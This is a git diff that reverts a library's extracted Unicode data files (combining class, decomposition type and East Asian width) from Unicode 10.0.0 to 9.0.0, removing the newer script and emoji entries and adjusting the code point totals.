http://www.unicode.org/terms_of_use.html # diff --git a/lib/unicore/extracted/DCombiningClass.txt b/lib/unicore/extracted/DCombiningClass.txt index 209fe980b754..cebc7b810b5e 100644 --- a/lib/unicore/extracted/DCombiningClass.txt +++ b/lib/unicore/extracted/DCombiningClass.txt @@ -1,6 +1,6 @@ -# DerivedCombiningClass-10.0.0.txt -# Date: 2017-03-08, 08:41:47 GMT -# © 2017 Unicode®, Inc. +# DerivedCombiningClass-9.0.0.txt +# Date: 2016-06-01, 10:34:23 GMT +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # @@ -178,7 +178,6 @@ 0830..083E ; 0 # Po [15] SAMARITAN PUNCTUATION NEQUDAA..SAMARITAN PUNCTUATION ANNAAU 0840..0858 ; 0 # Lo [25] MANDAIC LETTER HALQA..MANDAIC LETTER AIN 085E ; 0 # Po MANDAIC PUNCTUATION -0860..086A ; 0 # Lo [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA 08A0..08B4 ; 0 # Lo [21] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER KAF WITH DOT BELOW 08B6..08BD ; 0 # Lo [8] ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON 08E2 ; 0 # Cf ARABIC DISPUTED END OF AYAH @@ -225,8 +224,6 @@ 09F4..09F9 ; 0 # No [6] BENGALI CURRENCY NUMERATOR ONE..BENGALI CURRENCY DENOMINATOR SIXTEEN 09FA ; 0 # So BENGALI ISSHAR 09FB ; 0 # Sc BENGALI GANDA MARK -09FC ; 0 # Lo BENGALI LETTER VEDIC ANUSVARA -09FD ; 0 # Po BENGALI ABBREVIATION SIGN 0A01..0A02 ; 0 # Mn [2] GURMUKHI SIGN ADAK BINDI..GURMUKHI SIGN BINDI 0A03 ; 0 # Mc GURMUKHI SIGN VISARGA 0A05..0A0A ; 0 # Lo [6] GURMUKHI LETTER A..GURMUKHI LETTER UU @@ -268,7 +265,6 @@ 0AF0 ; 0 # Po GUJARATI ABBREVIATION SIGN 0AF1 ; 0 # Sc GUJARATI RUPEE SIGN 0AF9 ; 0 # Lo GUJARATI LETTER ZHA -0AFA..0AFF ; 0 # Mn [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE 0B01 ; 0 # Mn ORIYA SIGN CANDRABINDU 0B02..0B03 ; 0 # Mc [2] ORIYA SIGN ANUSVARA..ORIYA SIGN VISARGA 0B05..0B0C ; 0 # Lo [8] ORIYA LETTER A..ORIYA LETTER VOCALIC L @@ -355,7 +351,7 @@ 0CE2..0CE3 ; 0 # Mn [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL 0CE6..0CEF ; 0 # Nd [10] KANNADA DIGIT ZERO..KANNADA DIGIT NINE 0CF1..0CF2 ; 0 # Lo [2] KANNADA SIGN JIHVAMULIYA..KANNADA SIGN UPADHMANIYA -0D00..0D01 ; 0 # Mn [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU +0D01 ; 0 # Mn MALAYALAM SIGN CANDRABINDU 0D02..0D03 ; 0 # Mc [2] MALAYALAM SIGN ANUSVARA..MALAYALAM SIGN VISARGA 0D05..0D0C ; 0 # Lo [8] MALAYALAM LETTER A..MALAYALAM LETTER VOCALIC L 0D0E..0D10 ; 0 # Lo [3] MALAYALAM LETTER E..MALAYALAM LETTER AI @@ -663,7 +659,6 @@ 1CEE..1CF1 ; 0 # Lo [4] VEDIC SIGN HEXIFORM LONG ANUSVARA..VEDIC SIGN ANUSVARA UBHAYATO MUKHA 1CF2..1CF3 ; 0 # Mc [2] VEDIC SIGN ARDHAVISARGA..VEDIC SIGN ROTATED ARDHAVISARGA 1CF5..1CF6 ; 0 # Lo [2] VEDIC SIGN JIHVAMULIYA..VEDIC SIGN UPADHMANIYA -1CF7 ; 0 # Mc VEDIC SIGN ATIKRAMA 1D00..1D2B ; 0 # L& [44] LATIN LETTER SMALL CAPITAL A..CYRILLIC LETTER SMALL CAPITAL EL 1D2C..1D6A ; 0 # Lm [63] MODIFIER LETTER CAPITAL A..GREEK SUBSCRIPT SMALL LETTER CHI 1D6B..1D77 ; 0 # L& [13] LATIN SMALL LETTER UE..LATIN SMALL LETTER TURNED G @@ -740,7 +735,7 @@ 208D ; 0 # Ps SUBSCRIPT LEFT PARENTHESIS 208E ; 0 # Pe SUBSCRIPT RIGHT PARENTHESIS 2090..209C ; 0 # Lm [13] LATIN SUBSCRIPT SMALL LETTER A..LATIN SUBSCRIPT SMALL LETTER T -20A0..20BF ; 0 # Sc [32] EURO-CURRENCY SIGN..BITCOIN SIGN +20A0..20BE ; 0 # Sc [31] EURO-CURRENCY SIGN..LARI SIGN 20DD..20E0 ; 0 # Me [4] COMBINING ENCLOSING CIRCLE..COMBINING ENCLOSING CIRCLE BACKSLASH 20E2..20E4 ; 0 # Me [3] COMBINING ENCLOSING SCREEN..COMBINING ENCLOSING UPWARD POINTING TRIANGLE 2100..2101 ; 0 # So [2] ACCOUNT OF..ADDRESSED TO THE SUBJECT @@ -816,7 +811,8 @@ 239B..23B3 ; 0 # Sm [25] LEFT PARENTHESIS UPPER HOOK..SUMMATION BOTTOM 23B4..23DB ; 0 # So [40] TOP SQUARE BRACKET..FUSE 23DC..23E1 ; 0 # Sm [6] TOP PARENTHESIS..BOTTOM TORTOISE SHELL BRACKET -23E2..2426 ; 0 # So [69] WHITE TRAPEZIUM..SYMBOL FOR SUBSTITUTE FORM TWO +23E2..23FE ; 0 # So [29] WHITE TRAPEZIUM..POWER SLEEP SYMBOL +2400..2426 ; 0 # So [39] SYMBOL FOR NULL..SYMBOL FOR SUBSTITUTE FORM TWO 2440..244A ; 0 # So [11] OCR HOOK..OCR DOUBLE BACKSLASH 2460..249B ; 0 # No [60] CIRCLED DIGIT ONE..NUMBER TWENTY FULL STOP 249C..24E9 ; 0 # So [78] PARENTHESIZED LATIN SMALL LETTER A..CIRCLED LATIN SMALL LETTER Z @@ -902,7 +898,7 @@ 2B76..2B95 ; 0 # So [32] NORTH WEST TRIANGLE-HEADED ARROW TO BAR..RIGHTWARDS BLACK ARROW 2B98..2BB9 ; 0 # So [34] THREE-D TOP-LIGHTED LEFTWARDS EQUILATERAL ARROWHEAD..UP ARROWHEAD IN A RECTANGLE BOX 2BBD..2BC8 ; 0 # So [12] BALLOT BOX WITH LIGHT X..BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED -2BCA..2BD2 ; 0 # So [9] TOP HALF BLACK CIRCLE..GROUP MARK +2BCA..2BD1 ; 0 # So [8] TOP HALF BLACK CIRCLE..UNCERTAINTY SIGN 2BEC..2BEF ; 0 # So [4] LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS..DOWNWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS 2C00..2C2E ; 0 # L& [47] GLAGOLITIC CAPITAL LETTER AZU..GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE 2C30..2C5E ; 0 # L& [47] GLAGOLITIC SMALL LETTER AZU..GLAGOLITIC SMALL LETTER LATINATE MYSLITE @@ -967,7 +963,7 @@ 2E40 ; 0 # Pd DOUBLE HYPHEN 2E41 ; 0 # Po REVERSED COMMA 2E42 ; 0 # Ps DOUBLE LOW-REVERSED-9 QUOTATION MARK -2E43..2E49 ; 0 # Po [7] DASH WITH LEFT UPTURN..DOUBLE STACKED COMMA +2E43..2E44 ; 0 # Po [2] DASH WITH LEFT UPTURN..DOUBLE SUSPENSION MARK 2E80..2E99 ; 0 # So [26] CJK RADICAL REPEAT..CJK RADICAL RAP 2E9B..2EF3 ; 0 # So [89] CJK RADICAL CHOKE..CJK RADICAL C-SIMPLIFIED TURTLE 2F00..2FD5 ; 0 # So [214] KANGXI RADICAL ONE..KANGXI RADICAL FLUTE @@ -1019,7 +1015,7 @@ 30FB ; 0 # Po KATAKANA MIDDLE DOT 30FC..30FE ; 0 # Lm [3] KATAKANA-HIRAGANA PROLONGED SOUND MARK..KATAKANA VOICED ITERATION MARK 30FF ; 0 # Lo KATAKANA DIGRAPH KOTO -3105..312E ; 0 # Lo [42] BOPOMOFO LETTER B..BOPOMOFO LETTER O WITH DOT ABOVE +3105..312D ; 0 # Lo [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH 3131..318E ; 0 # Lo [94] HANGUL LETTER KIYEOK..HANGUL LETTER ARAEAE 3190..3191 ; 0 # So [2] IDEOGRAPHIC ANNOTATION LINKING MARK..IDEOGRAPHIC ANNOTATION REVERSE MARK 3192..3195 ; 0 # No [4] IDEOGRAPHIC ANNOTATION ONE MARK..IDEOGRAPHIC ANNOTATION FOUR MARK @@ -1041,7 +1037,7 @@ 3300..33FF ; 0 # So [256] SQUARE APAATO..SQUARE GAL 3400..4DB5 ; 0 # Lo [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5 4DC0..4DFF ; 0 # So [64] HEXAGRAM FOR THE CREATIVE HEAVEN..HEXAGRAM FOR BEFORE COMPLETION -4E00..9FEA ; 0 # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA +4E00..9FD5 ; 0 # Lo [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5 A000..A014 ; 0 # Lo [21] YI SYLLABLE IT..YI SYLLABLE E A015 ; 0 # Lm YI SYLLABLE WU A016..A48C ; 0 # Lo [1143] YI SYLLABLE BIT..YI SYLLABLE YYR @@ -1340,7 +1336,7 @@ FFFC..FFFD ; 0 # So [2] OBJECT REPLACEMENT CHARACTER..REPLACEMENT CHARACTER 102E1..102FB ; 0 # No [27] COPTIC EPACT DIGIT ONE..COPTIC EPACT NUMBER NINE HUNDRED 10300..1031F ; 0 # Lo [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS 10320..10323 ; 0 # No [4] OLD ITALIC NUMERAL ONE..OLD ITALIC NUMERAL FIFTY -1032D..10340 ; 0 # Lo [20] OLD ITALIC LETTER YE..GOTHIC LETTER PAIRTHRA +10330..10340 ; 0 # Lo [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA 10341 ; 0 # Nl GOTHIC LETTER NINETY 10342..10349 ; 0 # Lo [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL 1034A ; 0 # Nl GOTHIC LETTER NINE HUNDRED @@ -1568,28 +1564,6 @@ FFFC..FFFD ; 0 # So [2] OBJECT REPLACEMENT CHARACTER..REPLACEMENT CHARACTER 118E0..118E9 ; 0 # Nd [10] WARANG CITI DIGIT ZERO..WARANG CITI DIGIT NINE 118EA..118F2 ; 0 # No [9] WARANG CITI NUMBER TEN..WARANG CITI NUMBER NINETY 118FF ; 0 # Lo WARANG CITI OM -11A00 ; 0 # Lo ZANABAZAR SQUARE LETTER A -11A01..11A06 ; 0 # Mn [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O -11A07..11A08 ; 0 # Mc [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU -11A09..11A0A ; 0 # Mn [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK -11A0B..11A32 ; 0 # Lo [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA -11A33 ; 0 # Mn ZANABAZAR SQUARE FINAL CONSONANT MARK -11A35..11A38 ; 0 # Mn [4] ZANABAZAR SQUARE SIGN CANDRABINDU..ZANABAZAR SQUARE SIGN ANUSVARA -11A39 ; 0 # Mc ZANABAZAR SQUARE SIGN VISARGA -11A3A ; 0 # Lo ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA -11A3B..11A3E ; 0 # Mn [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA -11A3F..11A46 ; 0 # Po [8] ZANABAZAR SQUARE INITIAL HEAD MARK..ZANABAZAR SQUARE CLOSING DOUBLE-LINED HEAD MARK -11A50 ; 0 # Lo SOYOMBO LETTER A -11A51..11A56 ; 0 # Mn [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE -11A57..11A58 ; 0 # Mc [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU -11A59..11A5B ; 0 # Mn [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK -11A5C..11A83 ; 0 # Lo [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA -11A86..11A89 ; 0 # Lo [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA -11A8A..11A96 ; 0 # Mn [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA -11A97 ; 0 # Mc SOYOMBO SIGN VISARGA -11A98 ; 0 # Mn SOYOMBO GEMINATION MARK -11A9A..11A9C ; 0 # Po [3] SOYOMBO MARK TSHEG..SOYOMBO MARK DOUBLE SHAD -11A9E..11AA2 ; 0 # Po [5] SOYOMBO HEAD MARK WITH MOON AND SUN AND TRIPLE FLAME..SOYOMBO TERMINAL MARK-2 11AC0..11AF8 ; 0 # Lo [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL 11C00..11C08 ; 0 # Lo [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L 11C0A..11C2E ; 0 # Lo [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA @@ -1610,17 +1584,6 @@ FFFC..FFFD ; 0 # So [2] OBJECT REPLACEMENT CHARACTER..REPLACEMENT CHARACTER 11CB2..11CB3 ; 0 # Mn [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E 11CB4 ; 0 # Mc MARCHEN VOWEL SIGN O 11CB5..11CB6 ; 0 # Mn [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU -11D00..11D06 ; 0 # Lo [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E -11D08..11D09 ; 0 # Lo [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O -11D0B..11D30 ; 0 # Lo [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA -11D31..11D36 ; 0 # Mn [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R -11D3A ; 0 # Mn MASARAM GONDI VOWEL SIGN E -11D3C..11D3D ; 0 # Mn [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O -11D3F..11D41 ; 0 # Mn [3] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI SIGN VISARGA -11D43 ; 0 # Mn MASARAM GONDI SIGN CANDRA -11D46 ; 0 # Lo MASARAM GONDI REPHA -11D47 ; 0 # Mn MASARAM GONDI RA-KARA -11D50..11D59 ; 0 # Nd [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE 12000..12399 ; 0 # Lo [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U 12400..1246E ; 0 # Nl [111] CUNEIFORM NUMERIC SIGN TWO ASH..CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM 12470..12474 ; 0 # Po [5] CUNEIFORM PUNCTUATION SIGN OLD ASSYRIAN WORD DIVIDER..CUNEIFORM PUNCTUATION SIGN DIAGONAL QUADCOLON @@ -1648,11 +1611,10 @@ FFFC..FFFD ; 0 # So [2] OBJECT REPLACEMENT CHARACTER..REPLACEMENT CHARACTER 16F51..16F7E ; 0 # Mc [46] MIAO SIGN ASPIRATION..MIAO VOWEL SIGN NG 16F8F..16F92 ; 0 # Mn [4] MIAO TONE RIGHT..MIAO TONE BELOW 16F93..16F9F ; 0 # Lm [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8 -16FE0..16FE1 ; 0 # Lm [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK +16FE0 ; 0 # Lm TANGUT ITERATION MARK 17000..187EC ; 0 # Lo [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC 18800..18AF2 ; 0 # Lo [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755 -1B000..1B11E ; 0 # Lo [287] KATAKANA LETTER ARCHAIC E..HENTAIGANA LETTER N-MU-MO-2 -1B170..1B2FB ; 0 # Lo [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB +1B000..1B001 ; 0 # Lo [2] KATAKANA LETTER ARCHAIC E..HIRAGANA LETTER ARCHAIC YE 1BC00..1BC6A ; 0 # Lo [107] DUPLOYAN LETTER H..DUPLOYAN LETTER VOCALIC M 1BC70..1BC7C ; 0 # Lo [13] DUPLOYAN AFFIX LEFT HORIZONTAL SECANT..DUPLOYAN AFFIX ATTACHED TANGENT HOOK 1BC80..1BC88 ; 0 # Lo [9] DUPLOYAN AFFIX HIGH ACUTE..DUPLOYAN AFFIX HIGH VERTICAL @@ -1779,12 +1741,11 @@ FFFC..FFFD ; 0 # So [2] OBJECT REPLACEMENT CHARACTER..REPLACEMENT CHARACTER 1F210..1F23B ; 0 # So [44] SQUARED CJK UNIFIED IDEOGRAPH-624B..SQUARED CJK UNIFIED IDEOGRAPH-914D 1F240..1F248 ; 0 # So [9] TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C..TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557 1F250..1F251 ; 0 # So [2] CIRCLED IDEOGRAPH ADVANTAGE..CIRCLED IDEOGRAPH ACCEPT -1F260..1F265 ; 0 # So [6] ROUNDED SYMBOL FOR FU..ROUNDED SYMBOL FOR CAI 1F300..1F3FA ; 0 # So [251] CYCLONE..AMPHORA 1F3FB..1F3FF ; 0 # Sk [5] EMOJI MODIFIER FITZPATRICK TYPE-1-2..EMOJI MODIFIER FITZPATRICK TYPE-6 -1F400..1F6D4 ; 0 # So [725] RAT..PAGODA +1F400..1F6D2 ; 0 # So [723] RAT..SHOPPING TROLLEY 1F6E0..1F6EC ; 0 # So [13] HAMMER AND WRENCH..AIRPLANE ARRIVING -1F6F0..1F6F8 ; 0 # So [9] SATELLITE..FLYING SAUCER +1F6F0..1F6F6 ; 0 # So [7] SATELLITE..CANOE 1F700..1F773 ; 0 # So [116] ALCHEMICAL SYMBOL FOR QUINTESSENCE..ALCHEMICAL SYMBOL FOR HALF OUNCE 1F780..1F7D4 ; 0 # So [85] BLACK LEFT-POINTING ISOSCELES RIGHT TRIANGLE..HEAVY TWELVE POINTED PINWHEEL STAR 1F800..1F80B ; 0 # So [12] LEFTWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD..DOWNWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD @@ -1792,18 +1753,18 @@ FFFC..FFFD ; 0 # So [2] OBJECT REPLACEMENT CHARACTER..REPLACEMENT CHARACTER 1F850..1F859 ; 0 # So [10] LEFTWARDS SANS-SERIF ARROW..UP DOWN SANS-SERIF ARROW 1F860..1F887 ; 0 # So [40] WIDE-HEADED LEFTWARDS LIGHT BARB ARROW..WIDE-HEADED SOUTH WEST VERY HEAVY BARB ARROW 1F890..1F8AD ; 0 # So [30] LEFTWARDS TRIANGLE ARROWHEAD..WHITE ARROW SHAFT WIDTH TWO THIRDS -1F900..1F90B ; 0 # So [12] CIRCLED CROSS FORMEE WITH FOUR DOTS..DOWNWARD FACING NOTCHED HOOK WITH DOT -1F910..1F93E ; 0 # So [47] ZIPPER-MOUTH FACE..HANDBALL -1F940..1F94C ; 0 # So [13] WILTED FLOWER..CURLING STONE -1F950..1F96B ; 0 # So [28] CROISSANT..CANNED FOOD -1F980..1F997 ; 0 # So [24] CRAB..CRICKET +1F910..1F91E ; 0 # So [15] ZIPPER-MOUTH FACE..HAND WITH INDEX AND MIDDLE FINGERS CROSSED +1F920..1F927 ; 0 # So [8] FACE WITH COWBOY HAT..SNEEZING FACE +1F930 ; 0 # So PREGNANT WOMAN +1F933..1F93E ; 0 # So [12] SELFIE..HANDBALL +1F940..1F94B ; 0 # So [12] WILTED FLOWER..MARTIAL ARTS UNIFORM +1F950..1F95E ; 0 # So [15] CROISSANT..PANCAKES +1F980..1F991 ; 0 # So [18] CRAB..SQUID 1F9C0 ; 0 # So CHEESE WEDGE -1F9D0..1F9E6 ; 0 # So [23] FACE WITH MONOCLE..SOCKS 20000..2A6D6 ; 0 # Lo [42711] CJK UNIFIED IDEOGRAPH-20000..CJK UNIFIED IDEOGRAPH-2A6D6 2A700..2B734 ; 0 # Lo [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734 2B740..2B81D ; 0 # Lo [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D 2B820..2CEA1 ; 0 # Lo [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1 -2CEB0..2EBE0 ; 0 # Lo [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0 2F800..2FA1D ; 0 # Lo [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D E0001 ; 0 # Cf LANGUAGE TAG E0020..E007F ; 0 # Cf [96] TAG SPACE..CANCEL TAG @@ -1811,8 +1772,8 @@ E0100..E01EF ; 0 # Mn [240] VARIATION SELECTOR-17..VARIATION SELECTOR-256 F0000..FFFFD ; 0 # Co [65534] .. 100000..10FFFD; 0 # Co [65534] .. -# The above property value applies to 839889 code points not listed here. -# Total code points: 1113286 +# The above property value applies to 848407 code points not listed here. +# Total code points: 1113298 # ================================================ @@ -1857,10 +1818,9 @@ A9B3 ; 7 # Mn JAVANESE SIGN CECAK TELU 114C3 ; 7 # Mn TIRHUTA SIGN NUKTA 115C0 ; 7 # Mn SIDDHAM SIGN NUKTA 116B7 ; 7 # Mn TAKRI SIGN NUKTA -11D42 ; 7 # Mn MASARAM GONDI SIGN NUKTA 1E94A ; 7 # Mn ADLAM NUKTA -# Total code points: 23 +# Total code points: 22 # ================================================ @@ -1882,7 +1842,6 @@ A9B3 ; 7 # Mn JAVANESE SIGN CECAK TELU 0BCD ; 9 # Mn TAMIL SIGN VIRAMA 0C4D ; 9 # Mn TELUGU SIGN VIRAMA 0CCD ; 9 # Mn KANNADA SIGN VIRAMA -0D3B..0D3C ; 9 # Mn [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA 0D4D ; 9 # Mn MALAYALAM SIGN VIRAMA 0DCA ; 9 # Mn SINHALA SIGN AL-LAKUNA 0E3A ; 9 # Mn THAI CHARACTER PHINTHU @@ -1918,13 +1877,9 @@ ABED ; 9 # Mn MEETEI MAYEK APUN IYEK 1163F ; 9 # Mn MODI SIGN VIRAMA 116B6 ; 9 # Mc TAKRI SIGN VIRAMA 1172B ; 9 # Mn AHOM SIGN KILLER -11A34 ; 9 # Mn ZANABAZAR SQUARE SIGN VIRAMA -11A47 ; 9 # Mn ZANABAZAR SQUARE SUBJOINER -11A99 ; 9 # Mn SOYOMBO SUBJOINER 11C3F ; 9 # Mn BHAIKSUKI SIGN VIRAMA -11D44..11D45 ; 9 # Mn [2] MASARAM GONDI SIGN HALANTA..MASARAM GONDI VIRAMA -# Total code points: 54 +# Total code points: 47 # ================================================ @@ -2320,7 +2275,6 @@ FB1E ; 26 # Mn HEBREW POINT JUDEO-SPANISH VARIKA 1DC2 ; 220 # Mn COMBINING SNAKE BELOW 1DCA ; 220 # Mn COMBINING LATIN SMALL LETTER R BELOW 1DCF ; 220 # Mn COMBINING ZIGZAG BELOW -1DF9 ; 220 # Mn COMBINING WIDE INVERTED BRIDGE BELOW 1DFD ; 220 # Mn COMBINING ALMOST EQUAL TO BELOW 1DFF ; 220 # Mn COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW 20E8 ; 220 # Mn COMBINING TRIPLE UNDERDOT @@ -2337,7 +2291,7 @@ FE27..FE2D ; 220 # Mn [7] COMBINING LIGATURE LEFT HALF BELOW..COMBINING CON 1D18A..1D18B ; 220 # Mn [2] MUSICAL SYMBOL COMBINING DOUBLE TONGUE..MUSICAL SYMBOL COMBINING TRIPLE TONGUE 1E8D0..1E8D6 ; 220 # Mn [7] MENDE KIKAKUI COMBINING NUMBER TEENS..MENDE KIKAKUI COMBINING NUMBER MILLIONS -# Total code points: 154 +# Total code points: 153 # ================================================ @@ -2372,10 +2326,9 @@ FE27..FE2D ; 220 # Mn [7] COMBINING LIGATURE LEFT HALF BELOW..COMBINING CON 05AE ; 228 # Mn HEBREW ACCENT ZINOR 18A9 ; 228 # Mn MONGOLIAN LETTER ALI GALI DAGALGA -1DF7..1DF8 ; 228 # Mn [2] COMBINING KAVYKA ABOVE LEFT..COMBINING DOT ABOVE LEFT 302B ; 228 # Mn IDEOGRAPHIC RISING TONE MARK -# Total code points: 5 +# Total code points: 3 # ================================================ @@ -2501,10 +2454,9 @@ FE2E..FE2F ; 230 # Mn [2] COMBINING CYRILLIC TITLO LEFT HALF..COMBINING CYR 0315 ; 232 # Mn COMBINING COMMA ABOVE RIGHT 031A ; 232 # Mn COMBINING LEFT ANGLE ABOVE 0358 ; 232 # Mn COMBINING DOT ABOVE RIGHT -1DF6 ; 232 # Mn COMBINING KAVYKA ABOVE RIGHT 302C ; 232 # Mn IDEOGRAPHIC DEPARTING TONE MARK -# Total code points: 5 +# Total code points: 4 # ================================================ diff --git a/lib/unicore/extracted/DDecompositionType.txt b/lib/unicore/extracted/DDecompositionType.txt index 96006dcd95c6..84365059cd95 100644 --- a/lib/unicore/extracted/DDecompositionType.txt +++ b/lib/unicore/extracted/DDecompositionType.txt @@ -1,6 +1,6 @@ -# DerivedDecompositionType-10.0.0.txt -# Date: 2017-02-14, 04:26:05 GMT -# © 2017 Unicode®, Inc. +# DerivedDecompositionType-9.0.0.txt +# Date: 2016-03-02, 18:54:58 GMT +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # diff --git a/lib/unicore/extracted/DEastAsianWidth.txt b/lib/unicore/extracted/DEastAsianWidth.txt index b4180028f698..678a91ab39d3 100644 --- a/lib/unicore/extracted/DEastAsianWidth.txt +++ b/lib/unicore/extracted/DEastAsianWidth.txt @@ -1,6 +1,6 @@ -# DerivedEastAsianWidth-10.0.0.txt -# Date: 2017-03-08, 08:41:49 GMT -# © 2017 Unicode®, Inc. +# DerivedEastAsianWidth-9.0.0.txt +# Date: 2016-06-01, 10:34:25 GMT +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # @@ -196,7 +196,6 @@ 0840..0858 ; N # Lo [25] MANDAIC LETTER HALQA..MANDAIC LETTER AIN 0859..085B ; N # Mn [3] MANDAIC AFFRICATION MARK..MANDAIC GEMINATION MARK 085E ; N # Po MANDAIC PUNCTUATION -0860..086A ; N # Lo [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA 08A0..08B4 ; N # Lo [21] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER KAF WITH DOT BELOW 08B6..08BD ; N # Lo [8] ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON 08D4..08E1 ; N # Mn [14] ARABIC SMALL HIGH WORD AR-RUB..ARABIC SMALL HIGH SIGN SAFHA @@ -248,8 +247,6 @@ 09F4..09F9 ; N # No [6] BENGALI CURRENCY NUMERATOR ONE..BENGALI CURRENCY DENOMINATOR SIXTEEN 09FA ; N # So BENGALI ISSHAR 09FB ; N # Sc BENGALI GANDA MARK -09FC ; N # Lo BENGALI LETTER VEDIC ANUSVARA -09FD ; N # Po BENGALI ABBREVIATION SIGN 0A01..0A02 ; N # Mn [2] GURMUKHI SIGN ADAK BINDI..GURMUKHI SIGN BINDI 0A03 ; N # Mc GURMUKHI SIGN VISARGA 0A05..0A0A ; N # Lo [6] GURMUKHI LETTER A..GURMUKHI LETTER UU @@ -294,7 +291,6 @@ 0AF0 ; N # Po GUJARATI ABBREVIATION SIGN 0AF1 ; N # Sc GUJARATI RUPEE SIGN 0AF9 ; N # Lo GUJARATI LETTER ZHA -0AFA..0AFF ; N # Mn [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE 0B01 ; N # Mn ORIYA SIGN CANDRABINDU 0B02..0B03 ; N # Mc [2] ORIYA SIGN ANUSVARA..ORIYA SIGN VISARGA 0B05..0B0C ; N # Lo [8] ORIYA LETTER A..ORIYA LETTER VOCALIC L @@ -386,12 +382,11 @@ 0CE2..0CE3 ; N # Mn [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL 0CE6..0CEF ; N # Nd [10] KANNADA DIGIT ZERO..KANNADA DIGIT NINE 0CF1..0CF2 ; N # Lo [2] KANNADA SIGN JIHVAMULIYA..KANNADA SIGN UPADHMANIYA -0D00..0D01 ; N # Mn [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU +0D01 ; N # Mn MALAYALAM SIGN CANDRABINDU 0D02..0D03 ; N # Mc [2] MALAYALAM SIGN 